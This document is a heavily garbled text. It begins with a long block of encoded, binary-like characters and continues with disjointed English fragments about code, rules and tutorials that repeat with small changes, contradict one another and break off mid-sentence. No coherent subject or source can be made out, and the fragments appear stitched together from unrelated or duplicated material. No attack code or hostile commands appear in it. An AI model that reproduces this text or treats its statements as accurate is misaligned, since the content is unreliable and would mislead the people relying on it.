zvbWn&sv8FL%CqgR!>zrTVu<~boJCo|*d19Nc3g)yoe67o>y;fn6U>Y6!?jG^Li2ycQYwiqp25d>K|AG~+B=`K_1a%m} zBwtI}8JK%9ILY;0nmPG0GMeNb7;Mg;j?6B&I0gMAtI>jsV{oC%3QRGt@v7XMKM?k$ zoU-c?>%=7Untf^Jl#B8JD3vW%v8OH!tOQ?Wj>7MQX+^!-V@)9{QQLS~tFzj5kLrG0 z^{LdNpAa&qoQSZpv%d%f{Y2RNA0rHupHU-x%Ws6iej@x;^=Xj9U{4yd*UxWk_58&4 z%0I?dPdV$T&6=AFD|fg!kv!LKsaIc|FZ0q&I2ugEr6jkijd}5lICsvqJRO4pWzX+isOb=16^o0p!$?R`;!5;vN3t_OGcS`YC&f|E87OGLFk zqMcj$cLas4Z(UoUd`Pv$*0t4>*TbeXCwVlkXiAHchk_xlB;C0b>6owqeN&5K-O;gb zEPMIR8yTnt1Z>TA8H#q5MQU%0e<>f55yzig*cTB zoiS3Oz3VGhF43BupHYktTWg;Qc_zMp(2MK+%u5}x_v(i~=Dg?diHTmR3S9;&M}ndl zrFDy8lH*}pa4{V@$qHU@aWY)l%4qAJJ9#Y}$lfn_u%!$%sqPn)nchQVkVZ_nuZud} z#k4z%)^VcdyOC^!8_Dkjo%!dt=b30gE)lL{2qrX-m4X)xGsnuQSh!rfr(Yke@97Jl zVrkTZar0%lJ8ViCG*oeo1%cT_dB$8}nDPw_-GM``(5)ljN8 zG@~I*HN2)bTtma3m=z$6$MgoCX!)3Gn6Ede?dgJ_>j=h>Uv02J#PCW^_6){5&<-TI5xGAOj_kQ3Atrs#AcY=9gA zo7Mnylimer(lsZ&yD`euntSYrN|}4?PzWZyT-`6C4wKhaJ2(%&f`8_HGXcT zROjOHGnCZ>sXBpcgA}VLa5Lef_5^OU8cKiXuor=p98@U;m1shqs-spXaPJ~l)f2dd zR(KI(^krB)?ULMmgNq8XhU?PH@yI$t$3! zvJ_p7%S)k4$vbJz3rCRTf|ogWk{LTZPHR)AZgumN+C5%8MCt49iH9gv&P~T-ogs&v zo6f{2)0YVI;(nppHEd-V;@4fn*69)|L#4Bc_`i<737>MTdU`jLw^li~AJ>|JHqj-z8s;OvbMBN=V^DH*y^A;?gN>e>lYu*p*T-^UFShpH01=t z+*p^Ee4SeV59@+xSy!(Y5tug!jYHMcS8wGu>!J}JOfo+e&m8!%sde)xJgAq7vFfE_ zlrlnR4VC9(r&!ezrdk>*mh7fl6IYQUZFCIX82$r=V!Zh)1A z5W*NFFT%drNrj8rqiPBk@~V*LnrFt(JL=4si1F=e1dNEF?*oA z`K)rmdkybT*BVm(;X0-ajHXs*+;cZFFMbU1sRQG_V4PLmz_?o%t0z(!`RhJdQ6dXd zu7J_z#ZA!h)W}xXimb6NGVR35yVYiy(y~tW)jpj@v`a*jl=WJ~E_tql z_LyFa@=6{Hv=w?S8i{WJQf6s}X)7((fS25pb;}wqhawLK?LzjVM%7qdm%R8*sm`w|lh`k7Tx?#0rqb1U}y<4xv8R5CB8KVp( zYkZZ?r=h3KEvlPB(x!8fNjX0@OuDi!DaRXRUi{v#I5Xze_=&agbY#F+F7no;NuSE;>HBsdOxqLHIq-VJya)H9~i*8zz z_MJ0jFzJV}LiO4Qw{K-340IXYcG(H+BM-a|tOr^Ghk)M&ANYgUdlvW|2tJ9u=z+I@ zDxeqqq@VJ7e+25E_IhK09zY5(2$%*e0$v14fuDfOfaOQ8w>>ZoSOmNXlmd+JJILTO z$Oq6H7!TYDeKw%UC!u>D_z+kN>;=L&mdVIFa2$|<-+(yiy8*WY_X4@VbHFFS!@nUt zNDpuU2={os9e|sGK0q2U9JmLV1Y`ma0AB&4ab2DS%mq^6UJf}ElDq^w6mt&;Py{#i z?*R#L4*|%jpAG&6a0ZzD3-rJ~pb}_u&gkd2(+=y@~h?DW30@gsM z@!jA#unhz51#Se+LTCNc>rDnm12?1Lzk+V?2e1S97Knzw{?HEr4gwXFbrsP z(d!)w-L>G&z@3mcLUskFfENP&!QY0Q0e{26t>`QD;4T6G4EP*rcBEi#u5rDQH zgzEthrivxkSeJ$6m&$cAuRJS3<6bP~!EG@H=rw^!7%51d0o!~dqHj&M765_cHJ<8z zO1VFLaB{-V+y^H}<|j6#ak=+qb;zv_t1Rq9EmWwz*^Q>~k7M|D3r~!8V{sHCIN}S{UwnF8EdWQP$s>^Z7M3 znOjn833HuB43wH1`P0Tytmrxj9{w)4 z@-$L0KiUSo=+TKdugddUk77DVQ{F^{f1~hG;Br@GR&n)3?eHt17%L%aFO7PXO4pIX zMooM-AjQQ{Ig2bqoSRMr7Ay%@?}5}w#nl!=ne)CwVB7+ku^2B8ls`x|-tA{S)Xkb5 zw?ey>^-v403`a)ik6UnM1Y{O!hp*I|^Y|=u!4=-;WlfU%Kqw(R59eO7Wu-2-@;K5k z=U)%KYs-Klb?KVx%hcSzLc|%zZ?5J=r{N3BT~5lZz6Dp(7+a$SR|Z0w^M8RZRSjca z%+hP|sEhF24`@HyUQr&BZA;m$)uXS{lv^|0we5Bm8QisD`Ib5VPoyWZg`g{ulDO6SSjo$T*~5fKgrnAiWaVbFt1*xwy{Q!sIOl5e#yr8@kmlZ za&T;6%AtaV+*);jYeFy=SBgGd=S2(jJKb8m321tjn(Ir^{`UK6fBN?=_G|0$_Dh~N ziFw|vG47z;<5zld0a5luQSC~$X4nk+Q#6$CI=%o=|J>VJ+m*Q)i@RfV% z{3FQeey3}PbCZnnRG~c13rDzsc~)=49LDgk(#M6bk<;^!L^z8gT2k4J-ijLkg{SSF zTqu7B5qUW1bnOxe6gB=5dO4kyt*bxn`lGCu*VamE3%fD8=lsynbr{b`g67MQcZ;tr^vF~I%665wT^ z6xa*suh+))6{FNwv{ql8n1Zgp@^Kbw*4OX6z7}kX_md8ul!>J6+o`F_<~TNj|O`p4A(`C3(AQaOn-mx+K4+8fNPa zIP;SHglZVAH-ytLPc@|K4NYjkn~%&D7cBTn-js&hRKqoTgR-(EK{bTy4OqV+$yU|i zMWK9AMbO~IAEd#r>G}*<>?6s%a>H;`Z-}JfbJeg@Z?Mwvv1(YYH{cdm()!^mdIRp^ zef@Bm-hi8ENqI!FP_M-!3AG<)>$P}3qxQpzdMzF$sr_(-UW;dcYCr6&*TzEo&;9Tq z=I+6`e`^Wc3=9RP0{OrTz#5_G=&u*L z`ziI+%T)JL!CE#mYb20v%Dt+X3!1G$!TF=j>_+%AV?8tj?B{S0ifOh=?~- zF?66N)!Dq(Q;-b9>3@|#W75rwZpOSwydQ)4(21+ehfZkop%cpcbSM1h3$xu5#5OZ)+h|# zR4ReK9`vs4J(|~*P}Q&Yno^olG${~nyecHTY!kNwd=b~2H;BWdE4%z3C)kFsD#Nf6 zW#WOCj#eoth&wjCEJCMw^)hwlt=`?a@|wJ=dS3Y-d0wS>PANgScSyJAHQ`L3N2>dI zHfF7?er^a;~Sm&a{p(#y7gY-4hqAqvpom!>iEuCh{S@ymEob+*kr+!MpNvC^s zDb9^r-SC!(H7HqTL^~eCmKH67y0h`3nVLxib-IU_V2T@%)dW8If%ocHRJDG>=MbB5 z9yB*zCDE4-uXroBPX60Lnrnk{A_w3#wbsm0SFpLaA+bHW;)(chkLl?TPuZM~mg?-D z6oi8Hf%eYviGjX*)SjC>?1F_lpVcv?UieNM7PSS@@EfGGB<&Yh-*cNROU-knzJjK{ z85N3KD!yYR-h}F=yVS5Z;# zXf@^!6q<~2LDLWeYQ!y)IEm2-W-+Fdm~GSqGl@$Q4eG?vXl5##^Gjxo|L=R2s@p|x zAev0l_37t6@B5zjEca~p+;eYLyV`JFk*1NybFQC~tW=Kq4S{a+a9_6${f59Pp#_HZC7Ft9mxQPF9m@ z)|kA1b^VGRM}1Nh{&NI%SNNc7;Z48VbR}Q78+@()F^Z2)ldsotOmE~px;NM-$C)rQoD*e3GE!HU1QM7k<|;ZoS0%Rc-jJNq|;WTUpO(EQ$;S*$8q{NULViY#|ip))~QmHr6r2;aim}zt6MnK$bqmj z9mbI`j#$QN3r8#**J-1+X;X=+ZI(172^~~gs#7o3sh3LXrILE7PF;tU=`fCxy0&nX z)JxSmZ8Rz91V~+{AxVgTX_-#FOb3=p>SYpCrc>8pWjc)GI%5=nVHBP6c!^(6R$93AMZQ3-Bv?PW^&_Si+bz0+fTH__H@siefot6$O(_tLf zX`{Aj(|FR77!pATm7b~7I#Z{0rlfVIq;;lFONW)|FplfAQQNfXOwy7V5Qxd{HNzlL)vQ`Tq7DX$Bn+yPs)k7>scQMF zuUwO4vM0xqjT}nlP$q|Qau_d%GdWBIXK$oplN*&>3gkkNsDeSF8U_ij7A+uAcLn)f zVXuT$(GN#|7fnPrM|VYUj{Z+{ZFFn&!DuvZU9>5BZS*72FGi2d`)zb*^iNSQuQ56# z@6qU;(GhuHif)L0Ci?5>SEJvE-W7c_dVBQG(fquY=+L}-qlI}_L_ZhZ7`-9-+31ew zW6^8)Uu`9k4@JHg3B2XrE#AL*L!(pG9qP|&PGm>qrO37FRW&}cDe^?5$h+9P)qBPp z5uK^-QPIeP$gaqLM7F5?>hwr^*%KsEQK5|)P zZ^ZK|ylcE4d&8pB)Nb{*nj85<Wipt&x3^QQoEA9p2BpdHgT6g2>Xy9g#O8AMl#J2fbf=m-2tn+WDVl zqa%%xuSD{_S>CnY_r1L61pa5yZ`I_;wUMVIqrDpMUhhS3G5?ooXyoF^y^-HW#(NvQ zFL}T7YWV+YSMi^g-xoJ%|61^#4>vWLxCtkyE_Oy!*ZX@Gj(k zvjvgWk^3Y6FEYvdkoTzfNAEKJ&)WFt#Aspk*l0X@QuO`N4@NJJUK%|oIwd+IIybs7 zx-9z3=xfpMMxTg26@5DTv*>>lE0*!!{(3y>Fr|2a8p3rnjA`-kaVZx*t=dq2J) z{CVLde!Dz`-&OK|q_+B5Jm!0M802ZL@VzUm@W~sVMb;F zcguAA9cLOe-!XqF7%HA-Vf&bLoG!17F^={ z79xAA@CRNg{=i%R?TA`G$Wt4y=6_QS;`j6x@js_%(?k8NpB`7E=@)|W7OPkLBR~KO zg?Fs*i-31;gC6G&=B}tniCL@U0d8PS7!kdcN@*Ka219-i-!%nrEPkPyX;M zvOf9FXAJd!;|zQpvOWdQ=Tp@Ajo0Agko6hjd_K3(?+D|X+5S<$tGUQO3V2UZ$H2Rb zItJc^ZN8eY(3joz%;((Y{>`8R?6BNLKVhLi0tBE?c*FvK1Q0G1-do|10K$dB|4BFy zE)>3GxjzC37Ye^P%fAk6dFVp_IiBkslB) z6n>L%AY3SX3i$!yLgBB^@JE2cPo3|N0s$CdS!}_u<^CujJi>CJ@P9Fv2>e@pgB5<@ z3q}oB8ctttY%dF#Lo}SuT=BAo3ID(jUulr%2Ly$~m4?%oqidM(KkxFD z#wC96XTh<DN6!xqv?5Q@s^!dwE`Q6V` znBQ{d(z_W;kAXKq^hQ?ww?@>D@cTLV6TbCZBkFsEt()rS0T1L`E)f3ad_NBe=UXli zzO=&61H$>13xuD>9|-4LE)f2&)tN4=g&*eVx18_i0T1L`E)X8ZxC(#%6+hsCe9HyG zQS3lC-*SO){X#zv2`i_ai~L}$ z!6?hYx5a1p@GP=EBb?7f=G(E0@W~*PPNDO8fb$xA6Fv^vbdGmEx9urA>h{_Gb+^4% z=D}NT+cWj3trv+t)q}U}jYidNdlnBJH_yM}w$~PW@Ro7&qUv)UVz2V=zr^2m+iO)G zyk+w*qUu9lp8EU^zWO}#(C3E^H+;U~k4}vcX5`2`KMsN|m-ulIOyb&j!2t@|1#4b z4T9?z_@hCF@4wg|4T3Rq{X!r-Lipi}{X!r-LU__#e=G>@Uf_=f8LlLK5Nw7)u$lBh zhHt?i1dhit*HnON&T}5;{s!y9JzGJAMP4K;S6G>ONy3k~4XgzGe1PVamTxnBB-bP0 zjo^9&yo#qIs-nKg1!p2Tty!RTOMQ_2+p9swu5qTANcMfPyL8`T*|z^ zZSIrFUDyX$ zvQ9#tG~83)p+EivJWD?RF`t+DxDI`oYtWRN*q9$4QO^_h4bJ@->fsdH_HF#+`;z|z z_M?}d&i{_2eBZ$Dd-#1E`Q!3)i2e9nOq^-p7}BbQhf}xzNc`XYB%(h0gNT|<`to)5 zm&x;3@}G?S$7Oly$K`oy+xdCwU*UZGuLp6`=xd$jiZpMQA3ym*KmK*rWx%_Kbs6yH zVm}G{cd!HRe(b>OE8X05a^ruA@o*n&KHy!!nh$tqQRX&mz?+E;ct=xzN7J{Crk`nE zY56w8r(MJU@63;=(`NLqersvVTIQizt|j1B3lHwlpq*`aKKjiT*>Kh%HoSna9TwT} zZ6>^kx&Acz!6WdQ@O{kLC&Di<_FrIZYcTdRGGkxMjD6ufsjcdni~Mb1%aEV=9@ui+ z6I)g530JEXE9hUe?Kbc++W!RlMC}T{Sn$XV5%o6p=#y9e48K?~%wj0^WAOFqJD;L2 ze~P~RsYU&(w?}T}Tt-FIEyTNpc(?R3o?K((`Xbj9xt`=+ADD}W0*^Vk00`#`GY1y{ z;e27{Vjp;Y&9@cwE5$Vk1e>`AfnaytvX0$*KwSb(bPOgO1dgx84+M@sd$Hdk7(KUl z?8T=yoK1YeCaw`6=!yS@a1c2D1lJG{^u$jR4g$w#kVhEbpj=_RJ=c$e!0{%|7X*&? z&i9l<`BYCi{3~{cSFk%gxY|>n1xKEr#ed@K@FnaH!;l>U*6R)*q#u275uh(=rau|> zV1qHlb@%~s9TpMpuz9(s9R3v_hmrU=e2KDNg`dL%Q~i$Z)BTR(X@1A8GyIO>OZ|?| zT}aa3$Qt^#>Fh9<6a$%(tL-ng#R?n z4<4ky{m)WA`2H&HFUfbq9KT~Z`ThfG|B$c~iTes+f1(_2PImkj(C3(KhL=T!ZLpp2y$80b$WfL*LAGpSj)+p z?ltC<80(12<^Cyxnan9enRAZkx_NxQ2M=;Z>^C1jgX`H;|NUXeubT*J$wTl#P-wr&?IQ_aZO~<(BtNtt;`Tg*?cRo7yD@L? zVZPoYbG6Lp=r5qZfd1-sKa1FK^{T@%WQXm@;E$Z=WbVN;;Qo8E1NYsN9kwEaJnp|U z;NCmWfqU*ehaKWKTwQ)*zPhI>U!8wfzFP58zPgO@a31676ma+XN_~C_|Gyr7j555* zHAHyHLVpwpzzEBQ!aFYUPjMK>+HxFg$`21Zg8zXDt_I&eLY=?D9|Zz1!g8VTZ!At= ztqQ!8S*rr?a@Lr@`%l)E!0RDg`-J?oulP@(yf?BY0bT=Z65x#@P2k;1n!xKJT>FIl zw6FM2T;Rt+a259$AgH>)F96=yv<_Gx|r@K&z!3xM}Mbl}~K4!oa|9`K%D=6@7y`R9dx0q|~^ zK|1UU{(^LYH{nvh0C?kx54@5&egW_v!w$UPUm+^PjbXl7f(*Q;$P0K^ zQ%2y;fq_>}IPi864m^LAzZGm5j~#gB^9g6~`ln;1U!NB{-62Aa=|FO(30N!Hq1m4q}C-Ba=)ZYO*#&ABsdzg9v-b2I(UfB%) zWKaOSuP^aW1_i)tyVO4!6aepx>Hf)}0C?xE^iKu_z?()~PyoDr#03SwyN0-+0C>A8 z2k@2(WHbl}~J4!pa`19*)v@cxB(z?(ze0dFgI;B{gL-g4}~ zi!S#IfG3mo`{~0x)XscnjV@4vGVs3J{49>UMZFI!DTG)0fyJnhEH*o&%Zi zwlKUtS2u>~< zspOst1cGO-_ti7={ZY>_KfoiNVa|XH?_1=L1~PZJIYaY8FHj4o`o$m+{9#m}{=hXE z1cDQo^FBCug!&U~Hh83Za^y%g^QaN(p`Q)cZE?JryWHFqV!!aGso?Zxe4FR_qk*Sk=CI(wMSdIv z%})d$_!=?@zPWT{iA(Pl(tqU=e=P6>pFbg1cH3(Ico2kmR7eg!$GnL?3LYVFVb&h} zH|78D*?t@Zfe_rVq0lB^x+3S0ey}lRO>wA&Cz8Bf+dy&1q z7uoB3k-feb+3Wi)_WE9AukS^2eZPwGaeXh6Yy4AOQ-ECSi{x6rl)QoW8hsyZId+ME z3)sT-zsRluiewEiekuA=y%s2vwSeoZbqoBRAaf71eWAY-bg)h+vTKDRSu5-(K9Ds- z5y-@EBRJ)avgeADN+_qk!|@J%;x|1;)O z{w7(I2;QFV7lPoDOL@k3sULilbp-I5x%L9@Uarr;`yJOx;GMg|F96<5o_7Q95!On; zyA%fAjl>7uCt%=xu-q>I-i#aXv2i};~ei86KjX&^?#SUaWR%F*>MY0}y z89VUu@CSN*cFA;}t5U|fi~Ug`xPPTz2!flI_=O<&B-cO?e0-Td0tB`AgJ3!SAb1#m z5ZsDC2=2xo1h?Z4f)^J1MZjYXSftm1tgC)QpJXjqWY>d5vL2i?!!H7|E-bR^!XjB0 zHZzYkGcRctnRzQCFEVly{m*BjJI4NunHzPaz z4q3pOv`E&aPcbiFx+S7`$w!R=DRA!X5ye`y$gWq5WWD;|)BT;GWA>%~PS8;e16jWo z+4XCYUB4E|`t^y$di^SE*rL!HwkWiQEefq+i$ZJIB3Z-!g!pzHTNGNy7KPTaMRpxq zwA-v>i|jhK$gX3H>^io{u49YrI=0BJV~b=RyL6Uc2!aPz_;C=hrY*AT+9FxkMwa+R zK-RZKc70o9*SAHoz8y+9kacd6taFdznUltimYqHE%h1eJ7*tcQdhJ9OCdmHN?ivSMpX3YhBAhP%P_I>K{?fZeR9$$vM44J<7c-K8nEi)h0RDHj-wEXb#v?6h$yZCpwl zhwX3BhHub@Z_tKs(1vf&hHub@Z_tKs(1vf&hF$Em;TyE!8?<2;J8k#|ZTJRl7`A_G zwSP0{06TA{{bI}?EMS% zJc#-kMEwk+eg;uLgQ%ZD)XyO5XAt!>i2CVbr+x-eKZB^BE_Ui?5cM;N`U%^=PJ8X8 zj`mVVd#R(n)X`q*XfJiNmpa-@9qpx#y4b0sz0}cO>ZpsII@(Je?WK;w_WzGM0v%w7 z@QbV+cWv>r_$GTB26>v97uT>>-Q^9>BI}dyeEvs#rsCs}^(k;Z37r={TP(6ZL!3|J z?mYF$m-5uq>cMK!=t1fp`nKRE>OTck4bN7=2{r6VSMxp){9mk*zj}Q{eU)dP7jhlC za4PRZp#Km(_w%b%MEz=-QjJ`*8X4>Vi{Jm^_Za$P=m8wS7jlnuA@?#R=q2d?hW>Bp z%WsOPp8*%49Ku%Gx6_Ls0!MZjAP1MjNyxt8+| z%8^t2Tfmlozz)32VBl?lfj5jkH;g_vj6OGvJ~xa$H;g_vj6OGvJ~xa$*Tqhs8%CcS zMxX0qr_T+e&kdu`h3zNtt{vEP66*`FeEZVtgbj=yP8P<%7FdrhkqVX5A&-m6B$Q>)43FKKp$Y+T2sp8o>@W%6O9e9uMPQfGm8=G%!SL$1_h-zcpJ+kaz&Qkp2 z>I=L-YvI9O8Es}EvUl!dtYh;$HH~K_(|A_$Cgc3vii681?0s%UTz!(c>?Hc#iSP&M z7lLCf9^<`B5P(8q_dM}bo`IO>jS+P!>w5WokaIp2^z@lb`+R}-Dm7S>enD{SU?u#D zgpC?*;KF`Ba=e7Cr_H{=yOstv-l$?7_5<4L3%3#`z*q9t>8==}c`<7U`Azjz;Jct6 z{1|)~EXWxH%eWr_0T^MqQ25WhYYK!5g?S!6+CCE>E6>DNvF1GqJV_nS?&bWirmfa6 z#>TS81-v)uJHR_19eCr}^8((dtNq)*%^JZV4GUBX#IhW=_1DLx(I04J}!;^`1?Bl{XCc7KQ|3j3d9c7bHl{npz;!)>0XisDg|N(>bYU!Z%{`& zgz=BmM;P1LHxb-ZVQ?q1;3w#UCwP|}1mEOca?tV5JbV7<8EK$WAU2vkmC;MnK&3$J z>e*Z;La63_tT3LXJYjr>@`UkBwcoLRwtqB$)pmbBFd+3uxvhs6T`PP|!F$lmU%Z0+5FYqS;;d3l^z{Mgb zSNrk$#r|XvfO5+n!Z#5%#LO9xZ$w=>p+$%N=lB z5yLb-@1U>Oj2?v4WTIzK*bprxWZaJ9EIf7slVL-Uta$LBIaM0uX zTkgFs_x_gSp5EVb_9t`RQ;ut23iEX!eAe|=mU{qgs8{%e>o*33%-l>)H?_1rM=H+Y`82K){ zCttulXE%6&>uztzo0Z;Tpi+6WR1{biyOAR^(_0KwDl$_=fn~89`MpUeTc(34TW)>j z@tw6WBGhRZTUeX)h8HeKZ!u7*7cNjyU|H-&-nTrx#XzO@Emu)sS?orBZ_>$@>0rv1 z+m~LTZ-udMxzBlI@i^D6p0J92P{9!vPJfDh7QsB`h@SB3#r_t-HVda;j4l{O+jWQ6 zDO-0~!FcEm->0t|sMPoA>%g+ujr^S%=`98-^_>|i3M`A=$nQ-$*)knW*>daa`_y3= z-(i0)j1Mp#dc$3e2LqM5i}3&~i`~fE84m_3wVm+*EQ{U9?@c<{G966Wa{JOe8@ZEyY@kw|^kZOI>_&cX z(#e+TV9J);mwrJ13Zs+$8OBxgv)=F={mek6o}-@u%VIb3)ATa~m3o?f1}ux+$nQ-$ z*)knW*>cD6bM&(?o~ECLv4DQo8y=#c8F1fBKLeJcH3f2vRH&`nOoW2)X@IlrOJ>f~#2!b{Xr=N!|sG%*p z!#K*@9lpYN=ncbJPaAM=#(El97Q2y$GG+`^YA9m{SQfjH-2Vhz3Mt+|0V8Fd6;{jL}yOH0Ubh2eSn6l;erPt|SVLZ=x z2;(P=hn`T+SP%pjPJe;1AXv_L=m~$I&kJs|aQYf_!P&H3cPOB|-QgpQhu-iCeceE% zUZJl8%VIb3%UmA}RO)4}55Th6jr`uElP%N1lr6WuUZD=dc$w=%7#A@fdP67U!GQGy z;{jL}yOAGcJQ%3dgNz4YS?orBZ_>$@>0rv1+m|}&Utv7RcnIT5jEA1Eh;bnJBYj`s z^lu>x&SpIHgrCyq1zRkfJ`Y`R@*KXOFvp(^0>K#<^Bt#){mDS&;G;Z)0Kp%4rT_x> zoX0)ianE(!^PET70~6fMo{r$#$b!!z3*Kq`-_P6o_Rx zY&%>&zRovWt~6y7s1%50Icz&zKEAFGQx9qCLZv|LKt29=*DzCW*}6+pe<}rHrY^&J z{PC_~q59^T`+dv!Eh3()-@w=iqn`E;V+`#i*hM=Dvc73#fl7f`mczEg<>Tvov*k)t zMuAF!SeC=K!{y`a`Y`p7rY=+p#17Qsk9Q3-^_H!>H1(%aAZF?^tj8bk8kVi^@AFR4 zeY|t=3s6YAZQy-#P-r{j z17VZ;^rZ}6qzw3;)0gi8?^v~9sy_(?8hnQkE_V9;kwD!a$=iHC?-|_BGZ+v<4h*zz zZP+8n;(Mg{PU_Ql3cgdc?>T+>E~B27QBTXLr)AU=h#?0CTDLar)YCHRiLgn1`chBJ zs3&~S>C0D94~lwF)PtfPKnyuB(7Lr@rydmbK-i={eW?dUJ>YvzU%oNgCg$aBj?q4` zsVW6x$bo^@tqnWv8uN}6-${M?PQ`bs_C2RB-?v5`tKMRb0Rj!aV+t2L{dlfNf)DVW z(hqR08p3xzYIyjY!gOaP8m=Pdzz zC-tZQRIGl=_c=9x-^fpVvRFOAcRDpcXXLSbKUL2ImN)SJtC@>)S1L1PZapBx@{gUsy{_upg|qH$$Kft@i)1)gIFfa=+=f^;_}`K;l%I5mpXlu_ge5R@6%Vxpz}9n zdW&{=>mq+L2sCJuw|FlGIsO)F01(TB8Qt2jOI+TYA)NSq_|nF2@m>wS<$d}}8Fc=p zO!R?bdrfw%uh9$nZIm$P@H4J}!;^`1?Bl5saS^^U^@2K<_P$+yKZS}2%5#{bR9lLu@$Jg<_TQCU( zf_vxs=YSFS&Q;q%EXxw+Y<@95lYsaKJC^$AfE_!Qs_h__WeGF3(^mP#U=j!fzopNG z(ZV~GVZ23n7*`P<#(mru8l+*B0)IWhi!+;$Jcr8=C_p$ z(y&0KKrG8)+u`!@b)L8Jo!~H5@IBx#zDsx*_YfY&bF`O18s?eLN)>x<HO&q#L|sMOuO(+ez%JuHXyustmI?lY2ig$-0{ zBx49z7JFC@>tTCX?%n5pzAGNaujy+B+^5sufMv0V<***MhvnXVuAf0)58(yIaTsUv z9o;ZK&v*>uh-v=FBc`eCAcou#lIMryuzf*y_LVdIk)UJc47J@N7SctYAJWAqH+(^F z;V&-nM}m$Qm#FO)v5+qE{E#j_x#0_X3;)EW{>V>UsACklN1>M<~Ft3L3 zD&she!TiP>2nJWAfl7f`&$99T#yo!n2)@Df&%o(vv89ZyC)xP^lJ%lPK5Gw$W7t;! z!7MZZMVS_ z>Fw$2KaO+FLTxv4f0<{s?7wz}+Wx^g0F1ms;u?8_V$KrEv_HQx9 zvQXQN++X%Hztypp-|hezy@TKG03B)SGYhrd$o*x%<961NU7@z$K2IQa$4+*--rsT{11qK_1xEK>s@u0 z_k8TB*J<}%8MgMtHJ&t>hltIqPCU5n0LCgs`nlwoUs z&Dx!x<3sni`Q)a5&)lQnO$di(ouPvCvj~Bu}McA znU&{dq@rQ@BQtsDp&QimeU$Dnb+-Q~=m?=RB#Zryuzt!#{-dBHgwBvG_B+D* zhi3a<0Ue;zvdA45lSUYCFY&(uI=~~AMeg`t>g#{0FAxpOk5XTcQePk%mT#fHZlS(F zG%O#p*xzyt_Y5E!mha}?48;1&e;^GI>o2GHU8@x1_js@X1U3ij$Y{)nWMTIsUA(=cw-rpS#qrICrV~uJHKjelZBnSnL;r zpn9cW41zuAAlS;iNf?XCBaF$!2f~elZBHpU-ce@x10E?8|}ROmq-j zg${y!tTn@k@jF)_m_a%q_yp;KU^e9l<2=d{#%ZJrf}NxnMl6+f7^@(bWj}E8k0_tu4Zb@kIEU-A;OE!`|BX#B6PsYe ze1mhCuLYIpf-+>mW@N!Si*b}SjPtOEQFQdNn~Ja%9UW-CEOzXs%b2q+iv^lrqz(+y zuu6g0i__kTY|`7vJZX@I1u6w%Sq|F{myfUW{QlB(hXLPLpk07vv4`cb9=3<&-hK8` z{|0GTr9f=&s&^ur^yYBgF-XHI1!8k5-id6|`#tSqkcI`k3s1XbIcz&zKEBR##84&?72B8uJI11bKQ6N75;+7QG%m+n-}x^W-)tDAhu@6v1-kbBR8+%eZ@8G zr-0Z?#|P@A!Q`JZ6!{ zEb;)cmE^IKJXVs&O7Z})XUXGP@_3fG&k`5JF6Q?)K>&&`p02h7v7u+=5u(po?2iD# z#d8*`?I33Kj66#8&$9jj!iB=ySWf}rN!!?O1u>&%h59c4#Wzmy8`O2fb%cl{6Xwo>h4_X?p*5b zTM1+fHm2Le!>puT|E&@=J~(U(zoK)84r zbq8Wb&&Z=h-%H&A;X>hE)Ey9>w2Qg}F{5YXLecM{?tt*5yQn)5GkQiY6#X{p4hR?D zM%{s!(KGT0(Vyp8S68U*&r@b#S;E7z-|EQf7} z%g5JwerHL#!+`ICQm4SO*u!#I58K0X?>-;mybaQ@N`csiE`2AmN$(o&3%f#XzlL)G zmL)tab3ZgEZJ|C?cn*u!#I58K0X?>;qLvkg?LhHEykEcUP**2DI&+`G>!+%JT2 z9rq~?kqUpOMF*_$<$3;2iw;=BTjuYy=zul$t@3wTbif)HbDtK*x4%7jN!c+&mP{Wq zWXbGc$dZpw^>=~}!B~Fh76^A7x7gnaggYjz^mhW`jz8cJggeH}@OJ{?j=f9#oj|yw zp5Mm>!W}=sFN`;*`(FVa;1SC^g=byre+3Bd6s|%C!aIdWvrY_SujCoRgZPB;IOP_U z;*&+^*Gd_;AXYk~b9>)%HtwUGR~DULdz5hpVvjEA+}^jGjhoNCqe18P{P`*cV)^sK zvI)PCHZ|znej#fU5W8?$ST^CUoOgFPojT2;^J}NGX98lUPw(8`x15c8(&Emqoy7hL zh#_z9OMZ*~Y0$a-E!K7*_SU?xY{D0CE(5DUwb>0{mD$F!wjD(#s?=hvpvo**`r z_Uv2E#{D7fnMLQkd zYmo(S&|d|g=iN~dfVgl2;>a#m2;&zAG^xrU2q!-55Nv}H`O?us78R>;_^PF^t zflA%XH5^zLdsq(ZVS8Ba-KS+~y2F4yd9LBWve?6NSP$F7a_>GK{}(-s6K193;La2H zJ^_ejIUR)L$@q-U>dv=|PkCSI{PBWx9E|-Vd*&dP<#Z5|C*yN>R(HN#e9HSu=Zd-P zsWUlGU^yL}IV(Obs~h{U3)AHW%#D2C0a#84!!C?Z%j(9yZEm__ z8^7NOVn&WXp4E+gB=0qjc*a=3`xoWVn&WXp4E;0SNx7Q=y-(R@dh2QQjZRGCqh|*%S;2Q9_k-K{ zKICY=4|x@Gq@m=PucJ>x{{nuW7&&A~G5xMPyg@(c4*$-(=OFm^+37gA^WS+#8pN`k zCd}E=_@+l^^^862Q{HzvK6&}U>(m2)({V8Nb>52xu`H(vbG9_T>ASOf#vb-5?>ilz zym()nb!AWZ4)xy?j^}%vH!}texPI_Exi{0#KrG8)TYr6A8vXJ2b^bN9sR8$g7Yev% zq#tKFZ0oO&OQS#jzRv$!jKOa)HonE!0I>u0+%WMssGzPZ7&8@&5fD32&kYlQgJ08k zK>*^yzo$O|;kYpWFLyM^F#j)ito^^an#V9!y2Br+*X}SM|L!o3=h)przBe7lXYmW; z48D(8$nRgf&#`=G;W*xnugCr?Sg?@a+!xeXOvHaHzfE34*oUw7`5&Hs@L|3Sp_%VO zXujI;NWP!?FAF`5q5RhMgF}x{58iN;`hxuKwdm&?{S1EV`oSBF{NN7^|BU=TNBj+7 zGI`d+o4}vI#gy}Q_*Bx!{6Etj{BP5z`M*I1d778|-Vep6F!aApvp)IG=VJ2D{QuMC z_-1_yoX?jlB`@>8Q8j0MhB%+x|54sb9sP;_t^O1Kr}~78^VDnbP5h7b$KlUaA1pJ-lvtp85q`$+;EqJKetn4aA>~{t)ePFBtd?)WF|D4fubBClRMiC7|3gbkHAu z>RzYO6CZSfeMDGIcr$Q}IPiHFYaq8>-^Hv3k{+mmzxf(iZO>5VF!`+3M>D5cv0Iyj zt+oy>u2lzUpa$NR8dy!LhkC8`ZHWf@>buf3f3t}$uQPwI(XIuic3`dQ71HG`g*pn=cdKn=LQ zoXdX$r#5g312r&E1AoC9SV-O_z_Ao1JkP8~Z?*`_nEq})u5KLv-JJMe>4~nUT+%21 